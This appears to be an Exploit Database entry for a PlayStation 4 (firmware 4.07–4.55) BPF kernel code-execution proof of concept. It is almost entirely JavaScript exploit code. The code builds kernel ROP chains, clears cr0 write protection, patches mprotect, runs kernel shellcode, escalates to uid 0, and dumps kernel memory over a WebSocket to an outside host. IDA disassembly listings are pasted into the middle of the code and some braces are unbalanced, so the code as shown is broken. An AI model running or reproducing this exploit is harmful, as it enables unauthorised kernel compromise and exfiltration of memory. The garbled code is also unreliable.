Sony Playstation 4 (PS4) 4.07 < 4.55 - 'bpf' Local Kernel Code Execution (PoC)

Exploit Database
101 阅读

作者： qwertyoruiop

日期： 2018-02-26
类别：
- local
平台：
- hardware
来源：https://www.exploit-db.com/exploits/44177/

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function stage4_()

{

function malloc(sz)

{

var backing = new Uint8Array(1000+sz);

window.nogc.push(backing);

var ptr = p.read8(p.leakval(backing).add32(0x10));

ptr.backing = backing;

return ptr;

}

function malloc32(sz)

{

var backing = new Uint8Array(0x1000+sz*4);

window.nogc.push(backing);

var ptr = p.read8(p.leakval(backing).add32(0x10));

ptr.backing = new Uint32Array(backing.buffer);

return ptr;

}

var strcpy_helper = new Uint8Array(0x1000);

var where_writeptr_strcpy = p.leakval(strcpy_helper).add32(0x10);

function strcpy(ptr, str)

{

p.write8(where_writeptr_strcpy, ptr);

for (var i = 0; i < str.length; i++)

strcpy_helper[i] = str.charCodeAt(i) & 0xFF;

strcpy_helper[str.length] = 0;

}

var sysctlbyname = window.libKernelBase.add32(0xF290);

var sysreq = malloc32(0x10);

sysreq.backing[0] = 7;

sysreq.backing[1] = 0;

sysreq.backing[4] = 0x10;

var retv = malloc(0x100);

var __errno_ptr = p.fcall(window.libKernelBase.add32(0x2BE0));

var rv = p.fcall(sysctlbyname, p.sptr("machdep.openpsid"), retv, sysreq.add32(0x10), 0, 0);

var str = "";

for (var i=0; i<0x10; i++)

{

str += zeroFill(retv.backing[i].toString(16),2) + " ";

}

// log("psid: " + str)

var fd = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;

var fd1 = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;

if (fd == (-1 >>> 0))

{

print("kexp failed: no bpf0");

}

//print("fd: " + fd);

var scratch = malloc(0x100);

var ifname = malloc(0x10);

strcpy(ifname, "wlan0");

p.syscall("ioctl", fd, 0x8020426c, ifname);

var ret = p.syscall("write", fd, scratch, 40);

if (ret.low == (-1 >>> 0))

{

strcpy(ifname, "eth0");

p.syscall("ioctl", fd, 0x8020426c, ifname);

var ret = p.syscall("write", fd, scratch, 40);

if (ret.low == (-1 >>> 0))

{

throw "kexp failed :(";

}

var assertcnt = 0;

var assert = function(x)

{

assertcnt++;

if (!x) throw "assertion " + assertcnt + " failed";

}

print("got it");

var bpf_valid = malloc32(0x4000);

var bpf_valid_u32 = bpf_valid.backing;

var bpf_valid_prog = malloc(0x40);

p.write8(bpf_valid_prog, 64)

p.write8(bpf_valid_prog.add32(8), bpf_valid)

for (var i = 0 ; i < 0x4000; )

{

bpf_valid_u32[i++] = 6; // BPF_RET

bpf_valid_u32[i++] = 0;

}

var bpf_invalid = malloc32(0x4000);

var bpf_invalid_u32 = bpf_invalid.backing;

var bpf_invalid_prog = malloc(0x40);

p.write8(bpf_invalid_prog, 64)

p.write8(bpf_invalid_prog.add32(8), bpf_invalid)

for (var i = 0 ; i < 0x4000; )

{

bpf_invalid_u32[i++] = 4; // NOP

bpf_invalid_u32[i++] = 0;

}

var push_bpf = function(bpfbuf, cmd, k)

{

var i = bpfbuf.i;

if (!i) i=0;

bpfbuf[i*2] = cmd;

bpfbuf[i*2+1] = k;

bpfbuf.i = i+1;

}

push_bpf(bpf_invalid_u32, 5, 2); // jump

push_bpf(bpf_invalid_u32, 0x12, 0); // invalid opcode

bpf_invalid_u32.i = 16;

var bpf_write8imm = function(bpf, offset, imm)

{

if (!(imm instanceof int64))

{

imm = new int64(imm,0);

}

push_bpf(bpf, 0, imm.low); // BPF_LD|BPF_IMM

push_bpf(bpf, 2, offset); // BPF_ST

push_bpf(bpf, 0, imm.hi); // BPF_LD|BPF_IMM

push_bpf(bpf, 2, offset+1); // BPF_ST -> RDI: pop rsp

}

var bpf_copy8 = function(bpf, offset_to, offset_from)

{

push_bpf(bpf, 0x60, offset_from); // BPF_LD|BPF_MEM

push_bpf(bpf, 2, offset_to); // BPF_ST

push_bpf(bpf, 0x60, offset_from+1); // BPF_LD|BPF_MEM

push_bpf(bpf, 2, offset_to+1); // BPF_ST

}

var bpf_add4 = function(bpf, offset, val)

{

push_bpf(bpf, 0x60, offset); // BPF_LD

push_bpf(bpf, 0x4, val); // BPF_ALU|BPF_ADD|BPF_K

push_bpf(bpf, 2, offset); // BPF_ST

}

var krop_off_init = 0x1e;

var krop_off = krop_off_init;

var reset_krop = function() {

krop_off = krop_off_init;

bpf_invalid_u32.i = 16;

}

var push_krop = function(value)

{

bpf_write8imm(bpf_invalid_u32, krop_off, value);

krop_off += 2;

}

var push_krop_fromoff = function(value)

{

bpf_copy8(bpf_invalid_u32, krop_off, value);

krop_off += 2;

}

var finalize_krop = function(retv)

{

if(!retv) retv = 5;

push_bpf(bpf_invalid_u32, 6, retv); // return 5

}

var rtv = p.syscall("ioctl", fd, 0x8010427B, bpf_valid_prog);

assert(rtv.low == 0);

rtv = p.syscall("write", fd, scratch, 40);

assert(rtv.low == (-1 >>> 0));

var kscratch = malloc32(0x80);

var kchain = new window.RopChain();

kchain.clear();

kchain.push(window.gadgets["ret"]);

kchain.push(window.webKitBase.add32(0x3EBD0));

reset_krop();

//push_krop(window.gadgets["infloop"]); // 8

bpf_copy8(bpf_invalid_u32, 0, 0x1e);

push_krop(window.gadgets["pop rsi"]); // 0x10

push_krop_fromoff(0);

push_krop(window.gadgets["pop rsp"]);

push_krop(kchain.ropframeptr); // 8

finalize_krop(0);

var spawnthread = function(chain) {

seg000:00000000007FA7D0 sub_7FA7D0proc near ; DATA XREF: sub_7F8330+5Eo

seg000:00000000007FA7D0 55pushrbp

seg000:00000000007FA7D1 48 89 E5mov rbp, rsp

seg000:00000000007FA7D4 41 56 pushr14

seg000:00000000007FA7D6 53pushrbx

seg000:00000000007FA7D7 48 89 F3mov rbx, rsi

seg000:00000000007FA7DA 49 89 FEmov r14, rdi

seg000:00000000007FA7DD 48 8D 35 E5 B3 EC 00lea rsi, aMissingPlteBef ; "Missing PLTE before tRNS" < search this

-> xref of sub_7FA7D0:

seg000:00000000007F8380 48 8D 3D 28 D8 EC 00lea rdi, a1_5_18_0; "1.5.18"

seg000:00000000007F8387 48 8D 15 82 23 00 00lea rdx, sub_7FA710

seg000:00000000007F838E 48 8D 0D 3B 24 00 00lea rcx, sub_7FA7D0

seg000:00000000007F8395 31 F6 xor esi, esi

seg000:00000000007F8397 49 C7 47 20 00 00 00 00 mov qword ptr [r15+20h], 0

seg000:00000000007F839F 66 41 C7 47 18 00 00mov word ptr [r15+18h], 0

seg000:00000000007F83A6 49 C7 47 10 00 00 00 00 mov qword ptr [r15+10h], 0

seg000:00000000007F83AE E8 8D 3C D3 00callsub_152C040

-> code:

m_png = png_create_read_struct(PNG_LIBPNG_VER_STRING, 0, decodingFailed, decodingWarning);

decodingWarning -> sub_7FA7D0 (where Missing PLTE before tRNS is referenced)

decodingFailed -> contains longjmp (which we want)

seg000:00000000007FA710 sub_7FA710proc near ; DATA XREF: sub_7F8330+57o

seg000:00000000007FA710 ; sub_7F9DC0+2Eo

seg000:00000000007FA710 55pushrbp

seg000:00000000007FA711 48 89 E5mov rbp, rsp

seg000:00000000007FA714 48 8B 35 5D B6 E5 02mov rsi, cs:qword_3655D78

seg000:00000000007FA71B BA 60 00 00 00mov edx, 60h ; '`'

seg000:00000000007FA720 E8 AB E6 D2 00callsub_1528DD0

seg000:00000000007FA725 BE 01 00 00 00mov esi, 1

seg000:00000000007FA72A 48 89 C7mov rdi, rax

seg000:00000000007FA72D E8 26 6D 80 FFcallsub_1458 < longjmp

seg000:00000000007FA732 0F 0B ud2

seg000:00000000007FA732 sub_7FA710endp

var longjmp = webKitBase.add32(0x1458);

// ThreadIdentifier createThread(ThreadFunction entryPoint, void* data, const char* name)

seg000:00000000001DD17F 48 8D 15 C9 38 4C 01lea rdx, aWebcoreGccontr ; "WebCore: GCController" < search this

seg000:00000000001DD186 31 F6 xor esi, esi

seg000:00000000001DD188 E8 B3 1B F9 00callsub_116ED40 < createThread

var createThread = window.webKitBase.add32(0x116ED40);

var contextp = malloc32(0x2000);

var contextz = contextp.backing;

contextz[0] = 1337;

var thread2 = new RopChain();

thread2.clear();

thread2.push(window.gadgets["ret"]); // nop

chain(thread2);

p.write8(contextp, window.gadgets["ret"]); // rip -> ret gadget

p.write8(contextp.add32(0x10), thread2.ropframeptr); // rsp

p.fcall(createThread, longjmp, contextp, p.sptr("GottaGoFast"));

window.nogc.push(contextz);

window.nogc.push(thread2);

return thread2;

}

var interrupt1 = 0;

var interrupt2 = 0;

// ioctl() with valid BPF program -> will trigger reallocation of BFP code alloc

spawnthread(function(thread2){

interrupt1 = thread2.ropframeptr;

thread2.push(window.gadgets["pop rdi"]); // pop rdi

thread2.push(fd); // what

thread2.push(window.gadgets["pop rsi"]); // pop rsi

thread2.push(0x8010427B); // what

thread2.push(window.gadgets["pop rdx"]); // pop rdx

thread2.push(bpf_valid_prog); // what

thread2.push(window.gadgets["pop rsp"]); // pop rdx

thread2.push(thread2.ropframeptr.add32(0x800)); // what

thread2.count = 0x100;

var cntr = thread2.count;

thread2.push(window.syscalls[54]); // ioctl

thread2.push_write8(thread2.ropframeptr.add32(cntr*8), window.syscalls[54]); // restore ioctl

thread2.push(window.gadgets["pop rsp"]); // pop rdx

thread2.push(thread2.ropframeptr); // what

})

// ioctl() with invalid BPF program -> this will be executed when triggering bug

spawnthread(function(thread2){

interrupt2 = thread2.ropframeptr;

thread2.push(window.gadgets["pop rdi"]); // pop rdi

thread2.push(fd1); // what

thread2.push(window.gadgets["pop rsi"]); // pop rsi

thread2.push(0x8010427B); // what

thread2.push(window.gadgets["pop rdx"]); // pop rdx

thread2.push(bpf_invalid_prog); // what

thread2.push(window.gadgets["pop rsp"]); // pop rdx

thread2.push(thread2.ropframeptr.add32(0x800)); // what

thread2.count = 0x100;

var cntr = thread2.count;

thread2.push(window.syscalls[54]); // ioctl

thread2.push_write8(thread2.ropframeptr.add32(cntr*8), window.syscalls[54]); // restore ioctl

thread2.push(window.gadgets["pop rsp"]); // pop rdx

thread2.push(thread2.ropframeptr); // what

})

function kernel_rop_run(cb)

{

kchain.clear();

kchain.push(window.gadgets["ret"]);

cb(kchain);

kchain.push(window.gadgets["pop rax"]);

kchain.push(0);

kchain.push(window.gadgets["ret"]);

kchain.push(window.webKitBase.add32(0x3EBD0));

while(1)

{

if (p.syscall(4, fd, scratch, 40).low == 40)

{

return p.read8(kscratch);

break;

}

function leak_kern_rip() {

return kernel_rop_run(function(kchain)

{

kchain.push(window.gadgets["pop rdi"]);

kchain.push(kscratch);

kchain.push(window.gadgets["mov [rdi], rsi"]);

});

}

function kernel_read8(addr) {

return kernel_rop_run(function(kchain)

{

kchain.push(window.gadgets["pop rdi"]);

kchain.push(addr);

kchain.push(window.webKitBase.add32(0x13A220)); // deref

kchain.push(window.gadgets["pop rdi"]);

kchain.push(kscratch);

kchain.push(window.gadgets["mov [rdi], rax"]);

});

}

function kernel_memcpy(to,from,size) {

return kernel_rop_run(function(kchain)

{

kchain.push(window.gadgets["pop rdi"]);

kchain.push(to);

kchain.push(window.gadgets["pop rsi"]);

kchain.push(from);

kchain.push(window.gadgets["pop rdx"]);

kchain.push(size);

kchain.push(window.gadgets["memcpy"]);

kchain.push(window.gadgets["mov [rdi], rax"]);

});

}

var kern_base = leak_kern_rip();

kern_base.low &= 0xffffc000;

kern_base.low -= 0x164000;

log("ay! " + kernel_read8(kern_base) + " " + kern_base);

var chunksz = 0x40000;

var pagebuf = malloc(chunksz);

connection = new WebSocket('ws://192.168.0.125:8080');

connection.binaryType = "arraybuffer";

connection.onmessage = function() {

try {

kernel_memcpy(pagebuf, kern_base, chunksz);

connection.send(new Uint8Array(pagebuf.backing.buffer, 0, chunksz));

kern_base.add32inplace(chunksz);

}catch(e) {log(e);}

}

LOAD:FFFFFFFF9144CF70 0F 20 C0mov rax, cr0

LOAD:FFFFFFFF9144CF73 48 0D 2A 00 05 00 orrax, 5002Ah

LOAD:FFFFFFFF9144CF79 0F 22 C0mov cr0, rax

LOAD:FFFFFFFF9144CF7C C3retn

FFFFFFFF91562A58

var getset_cr0 = kern_base.add32(0x280f70);

var set_cr0 = kern_base.add32(0x280f79);

function kernel_get_cr0() {

return kernel_rop_run(function(kchain)

{

kchain.push(getset_cr0);

kchain.push(window.gadgets["pop rdi"]);

kchain.push(kscratch);

kchain.push(window.gadgets["mov [rdi], rax"]);

});

}

var cr0val = kernel_get_cr0();

cr0val.low &= ((~(1 << 16)) >>> 0);

log("cr0: " + cr0val);

function kernel_write8_cr0(addr, val) {

return kernel_rop_run(function(kchain)

{

kchain.push(window.gadgets["pop rax"]);

kchain.push(cr0val);

kchain.push(set_cr0);

kchain.push(window.gadgets["pop rdi"]);

kchain.push(addr);

kchain.push(window.gadgets["pop rax"]);

kchain.push(val);

kchain.push(window.gadgets["mov [rdi], rax"]);

kchain.push(getset_cr0);

});

}

function kernel_fcall(addr, arg0, arg1) {

return kernel_rop_run(function(kchain)

{

if(arg0)

{

kchain.push(window.gadgets["pop rdi"]);

kchain.push(arg0);

}

if(arg1)

{

kchain.push(window.gadgets["pop rsi"]);

kchain.push(arg1);

}

kchain.push(addr);

kchain.push(window.gadgets["pop rdi"]);

kchain.push(kscratch);

kchain.push(window.gadgets["mov [rdi], rax"]);

});

}

var mprotect_patchloc = kern_base.add32(0x396a58);

var mprotect_patchbytes = kernel_read8(mprotect_patchloc);

var mprotect_realbytes = mprotect_patchbytes;

log("patchbytes: " + mprotect_patchbytes);

mprotect_patchbytes.low = 0x90909090;

mprotect_patchbytes.hi &= 0xffff0000;

mprotect_patchbytes.hi |= 0x00009090;

var shellsize = window.shellcode.byteLength;

shellsize += 0x4000;

shellsize &= 0xffffc000;

var shellscratch_to = malloc32((0x10000 + shellsize)/4);

var origin_to = shellscratch_to.low;

shellscratch_to.low &= 0xffffc000;

shellscratch_to.low += 0x8000;

var offset = (shellscratch_to.low - origin_to) / 4;

for (var i=0; i < window.shellcode.length; i++)

{

shellscratch_to.backing[i+offset] = window.shellcode[i];

}

kernel_write8_cr0(mprotect_patchloc,mprotect_patchbytes);

var mapz = p.syscall("mprotect", shellscratch_to, shellsize, 7);

kernel_write8_cr0(mprotect_patchloc,mprotect_realbytes);

if (mapz.low != 0) throw "mprot fail!";

faultme = shellscratch_to.add32(0x0);

for (var i=0; i < window.shellcode.length; i+= 0x1000)

{

var bck = p.read8(faultme);

p.write8(faultme, 0xc3)

p.fcall(faultme); // test faulting

p.write8(faultme, bck)

}

p.syscall("mlock", shellscratch_to, shellsize);

var pyld_buf = p.read8(p.leakval(window.pyld).add32(0x10));

var zarguments = malloc32(0x1000);

p.write8(zarguments, kern_base);

p.write8(zarguments.add32(8), fd_kcall);

p.write8(zarguments.add32(16), interrupt1);

p.write8(zarguments.add32(24), interrupt2);

p.write8(zarguments.add32(32), window.syscalls[431]);

p.write8(zarguments.add32(40), window.syscalls[591]);

p.write8(zarguments.add32(48), window.syscalls[594]);

p.write8(zarguments.add32(56), pyld_buf); // pyld

p.write8(zarguments.add32(64), window.pyldpoint);

p.write8(zarguments.add32(72), window.pyld.byteLength);

var fd_kcall = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;

log(p.read8(shellscratch_to.add32(window.entrypoint)));

log("kernel shellcode: " + kernel_fcall(shellscratch_to.add32(window.entrypoint), 1, zarguments));

p.syscall("setuid", 0);

log("uid: " + p.syscall("getuid"));

alert("enter user");

log("user shellcode: " + p.fcall(shellscratch_to.add32(window.entrypoint), 2, zarguments));

var lsscrtch32 = new Uint32Array(0x400);

var lsscrtch = p.read8(p.leakval(lsscrtch32).add32(0x10));

window.ls = function(path)

{

var sep = "/"

if (path[path.length-1]=="/") sep = "";

var fd = p.syscall("open", p.sptr(path), 0x1100004).low;

if (fd == (-1 >>> 0))

{

print("open("+path+"): -1");

return;

}

alert("getdenv");

print("Directory listing for " +path+":");

var total = p.syscall("getdents", fd, lsscrtch, 0x1000).low;

if (total == (-1 >>> 0))

{

print("getdents("+path+"): -1");

return;

}

alert("got denv");

var offset = 0;

while (offset < total)

{

var cur = lsscrtch.add32(offset);

var reclen = p.read4(cur.add32(4)) & 0xFFFF;

var filepath = path + sep + p.readstr(cur.add32(8));

print("<a href=javascript:window.ls('" + filepath + "');>" + filepath + "</a>");

offset += reclen;

if(!reclen) break;

}

p.syscall("close", fd);

}

print("<a href=javascript:window.ls('/');>ls /</a>");

}